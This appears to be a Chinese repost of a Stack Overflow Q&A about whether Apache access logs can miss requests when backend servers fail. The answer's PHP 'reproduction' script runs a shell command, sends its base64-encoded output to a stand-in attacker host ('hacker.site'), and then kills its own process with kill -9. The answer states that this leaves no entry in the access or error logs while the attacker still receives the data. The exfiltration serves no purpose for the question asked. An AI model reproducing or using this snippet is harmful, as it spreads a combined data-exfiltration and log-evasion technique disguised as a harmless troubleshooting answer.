gpt4 book ai didi

java - Apache 访问日志是否遗漏了请求?

转载 作者:搜寻专家 更新时间:2023-11-01 03:10:56 26 4
gpt4 key购买 nike

我的工作场所在各种 Java 应用程序服务器前面有 Apache。我经常不得不调查生产问题并依赖那些记录对应用程序服务器的所有请求的 Apache 访问日志,无论它们是成功 (200)、重定向 (302)、错误 (500) 还是其他一些状态。

但是有几次,通常当应用服务器变得无响应并需要重新启动时,看起来可能一些请求没有被记录。

我已经尝试在本地重现这个(启动一个长时间运行的请求,或者允许请求超过 Apache 服务器的超时时间,或者只是从命令行终止应用程序服务器)但是我总是在访问中收到一个请求日志。

我的问题是,假设 Apache 运行良好但遇到应用服务器问题,Apache 访问日志是否会遗漏请求?

最佳答案

在某些情况下它可能会错过请求,docs包含重要的句子:

The server access log records all requests processed by the server.

因此,如果请求未被处理,那么我们不应期望在access_log 中出现条目。如果您想知道是否可以轻松重现这种情况,那么我找到了一种方法。

考虑以下 PHP 代码 (test.php):

<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());

您还必须使用 prefork MPM 和 mod_php 模块运行 Apache。然后通过浏览器或telnet发起请求:

$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0

Connection closed by foreign host.

如您所见,连接已关闭,没有任何响应。 access_logerror_log 中也没有日志,尽管代码已执行并且攻击者收到了命令 uname -a 的编码结果。

关于java - Apache 访问日志是否遗漏了请求?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10446819/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com